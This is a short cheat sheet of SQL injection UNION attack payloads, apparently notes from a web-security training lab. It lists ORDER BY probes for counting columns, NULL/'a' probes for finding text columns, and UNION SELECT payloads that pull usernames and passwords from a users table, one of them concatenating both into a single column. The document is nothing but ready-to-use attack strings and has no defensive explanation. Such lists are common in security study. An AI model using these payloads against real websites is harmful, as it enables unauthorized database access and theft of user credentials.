SQL injection UNION attacks

Retrieving multiple values within a single column

' UNION SELECT username || '~' || password FROM users--
' UNION SELECT username, password FROM users--

Finding columns with a useful data type in a SQL injection UNION attack

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

Determining the number of columns required in a SQL injection UNION attack

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--